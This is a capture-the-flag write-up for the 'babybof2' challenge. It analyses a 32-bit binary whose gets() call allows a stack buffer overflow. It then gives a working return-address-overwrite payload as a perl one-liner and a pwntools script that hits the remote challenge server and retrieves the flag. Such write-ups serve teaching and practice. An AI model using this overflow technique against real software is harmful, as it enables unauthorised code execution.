# babybof2
## Description
Authors: icinta
```nc chals20.cybercastors.com 14434```
## Analysis
Open with Ghidra, look at `main()`
```cundefined4 main(void)
{  puts("Do you really think you can get to the winners table?");  puts("I\'ll give you one shot at it, what floor is the table at: ");  start();  puts("Yeah that\'s what I thougt, LOL.\n");  return 0;}```
`start()` accepts input from STDIN and is vulnerable to a buffer overflow.
```cvoid start(void)
{  char local_4c [68];  __x86.get_pc_thunk.ax();  gets(local_4c);  return;}```
```(gdb) disas startDump of assembler code for function start:   0x08049201 <+0>:	push   %ebp   0x08049202 <+1>:	mov    %esp,%ebp   0x08049204 <+3>:	push   %ebx   0x08049205 <+4>:	sub    $0x44,%esp   0x08049208 <+7>:	call   0x8049290 <__x86.get_pc_thunk.ax>   0x0804920d <+12>:	add    $0x21eb,%eax   0x08049212 <+17>:	sub    $0xc,%esp   0x08049215 <+20>:	lea    -0x48(%ebp),%edx   0x08049218 <+23>:	push   %edx   0x08049219 <+24>:	mov    %eax,%ebx   0x0804921b <+26>:	call   0x8049040 <gets@plt>   0x08049220 <+31>:	add    $0x10,%esp   0x08049223 <+34>:	nop   0x08049224 <+35>:	mov    -0x4(%ebp),%ebx   0x08049227 <+38>:	leave     0x08049228 <+39>:	ret    End of assembler dump.```
And `winnersLevel()` is the function we need to reach.
```cundefined4 winnersLevel(int param_1)
{  undefined4 uVar1;   if ((param_1 == 0x182) || (param_1 == 0x102)) {    puts("Wow! Please excuse me sir I had no idea...here are your chips");    system("cat ./flag.txt");    uVar1 = 1;  }  else {    puts("You guessed right but it seems your badge number isn\'t on our list.");    uVar1 = 0;  }  return uVar1;}```
```(gdb) disas winnersLevelDump of assembler code for function winnersLevel:   0x08049196 <+0>:	push   %ebp   0x08049197 <+1>:	mov    %esp,%ebp   0x08049199 <+3>:	push   %ebx   0x0804919a <+4>:	sub    $0x4,%esp   0x0804919d <+7>:	call   0x80490d0 <__x86.get_pc_thunk.bx>   0x080491a2 <+12>:	add    $0x2256,%ebx   0x080491a8 <+18>:	cmpl   $0x182,0x8(%ebp)   0x080491af <+25>:	je     0x80491ba <winnersLevel+36>   0x080491b1 <+27>:	cmpl   $0x102,0x8(%ebp)   0x080491b8 <+34>:	jne    0x80491e5 <winnersLevel+79>   0x080491ba <+36>:	sub    $0xc,%esp   0x080491bd <+39>:	lea    -0x13f0(%ebx),%eax   0x080491c3 <+45>:	push   %eax   0x080491c4 <+46>:	call   0x8049050 <puts@plt>   0x080491c9 <+51>:	add    $0x10,%esp   0x080491cc <+54>:	sub    $0xc,%esp   0x080491cf <+57>:	lea    -0x13b2(%ebx),%eax   0x080491d5 <+63>:	push   %eax   0x080491d6 <+64>:	call   0x8049060 <system@plt>   0x080491db <+69>:	add    $0x10,%esp   0x080491de <+72>:	mov    $0x1,%eax   0x080491e3 <+77>:	jmp    0x80491fc <winnersLevel+102>   0x080491e5 <+79>:	sub    $0xc,%esp   0x080491e8 <+82>:	lea    -0x13a0(%ebx),%eax   0x080491ee <+88>:	push   %eax   0x080491ef <+89>:	call   0x8049050 <puts@plt>   0x080491f4 <+94>:	add    $0x10,%esp   0x080491f7 <+97>:	mov    $0x0,%eax   0x080491fc <+102>:	mov    -0x4(%ebp),%ebx   0x080491ff <+105>:	leave     0x08049200 <+106>:	ret    End of assembler dump.```
`winnersLevel()` takes one argument, which must be either `0x182` or `0x102` to get the flag. Let's check out the stack variables for this function in Ghidra:
```                             undefined winnersLevel(undefined4 param_1)             undefined         AL:1           <RETURN>             undefined4        Stack[0x4]:4   param_1                                 XREF[2]:     080491a8(R),                                                                                                    080491b1(R)               undefined4        Stack[-0x8]:4  local_8                                 XREF[1]:     080491fc(R)                               winnersLevel                                    XREF[3]:     Entry Point(*), 0804a158,                                                                                           0804a1fc(*)          08049196 55              PUSH       EBP
```
We'll have to overflow the input buffer in `start()`, which is 68 bytes, plus probably another 8 bytes before overwriting the return address with the starting address of `winnersLevel()`. Then there will be the new return address (`0x08049196`) and then the two stack variables for `winnersLevel()`.
Create a fake flag file, and try to exploit it by hand.
```root@kali:~/Downloads# echo hello > flag.txtroot@kali:~/Downloads# perl -e 'print "A"x76 . "\x96\x91\x04\x08"x1 . "\x00\x00\x00\x00" . "\x02\x01\x00\x00"' > payload && ./winners < payload; echo $?Do you really think you can get to the winners table?I'll give you one shot at it, what floor is the table at: Wow! Please excuse me sir I had no idea...here are your chipshelloSegmentation fault139```
Bingo! And we can do the same with gdb to see what the memory looks like with this payload by setting a breakpoint at the `nop` just after `gets()` in the `start()` function.
```(gdb) break *0x08049223Breakpoint 1 at 0x8049223(gdb) run < payloadThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /root/Downloads/winners < payloadDo you really think you can get to the winners table?I'll give you one shot at it, what floor is the table at: 
Breakpoint 1, 0x08049223 in start ()(gdb) info regeax            0xffffd2b0          -11600ecx            0xf7faf5c0          -134548032edx            0xf7fb089c          -134543204ebx            0x804b3f8           134525944esp            0xffffd2b0          0xffffd2b0ebp            0xffffd2f8          0xffffd2f8esi            0xf7faf000          -134549504edi            0xf7faf000          -134549504eip            0x8049223           0x8049223 <start+34>eflags         0x282               [ SF IF ]cs             0x23                35ss             0x2b                43ds             0x2b                43es             0x2b                43fs             0x0                 0gs             0x63                99(gdb) x/40wx $esp0xffffd2b0:	0x41414141	0x41414141	0x41414141	0x414141410xffffd2c0:	0x41414141	0x41414141	0x41414141	0x414141410xffffd2d0:	0x41414141	0x41414141	0x41414141	0x414141410xffffd2e0:	0x41414141	0x41414141	0x41414141	0x414141410xffffd2f0:	0x41414141	0x41414141	0x41414141	0x080491960xffffd300:	0x00000000	0x00000102	0xf7e06b00	0xf7fb25880xffffd310:	0xf7faf000	0xf7faf000	0x00000000	0xf7e06c7b0xffffd320:	0xf7faf3fc	0x00040000	0x00000000	0x080492f30xffffd330:	0x00000001	0xffffd3f4	0xffffd3fc	0x080492c10xffffd340:	0xffffd360	0x00000000	0x00000000	0xf7defb41
```
## Solution
Now that we have a working local exploit, write the script to exploit the remote server. One key thing I missed when I first wrote this is that we have to set `DEBUG` mode to dump out every byte received. Otherwise, we won't see the flag.
```python#!/usr/bin/env python3from pwn import *context.log_level='DEBUG' # need debug mode to see flagbinary = ELF('./winners')print("%x\n" % binary.symbols['winnersLevel'])p = remote('chals20.cybercastors.com', 14434)p.recvuntil("what floor is the table at:")payload = b'A' * (68 + 8)payload += p32(binary.symbols['winnersLevel'])payload += p32(0x0)payload += p32(0x102)p.sendline(payload)p.stream()```
```root@kali:~/Downloads# ./winners-exploit.py [DEBUG] PLT 0x8049040 gets[DEBUG] PLT 0x8049050 puts[DEBUG] PLT 0x8049060 system[DEBUG] PLT 0x8049070 __libc_start_main[*] '/root/Downloads/winners'    Arch:     i386-32-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)    RWX:      Has RWX segments8049196
[+] Opening connection to chals20.cybercastors.com on port 14434: Done[DEBUG] Received 0x71 bytes:    b'Do you really think you can get to the winners table?\n'    b"I'll give you one shot at it, what floor is the table at: \n"[DEBUG] Sent 0x59 bytes:    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│    *    00000040  41 41 41 41  41 41 41 41  41 41 41 41  96 91 04 08  │AAAA│AAAA│AAAA│····│    00000050  00 00 00 00  02 01 00 00  0a                        │····│····│·│    00000059 [DEBUG] Received 0x3e bytes:    b'Wow! Please excuse me sir I had no idea...here are your chips\n'Wow! Please excuse me sir I had no idea...here are your chips[DEBUG] Received 0x2a bytes:    b'castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}'```
The flag is:
```castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}```
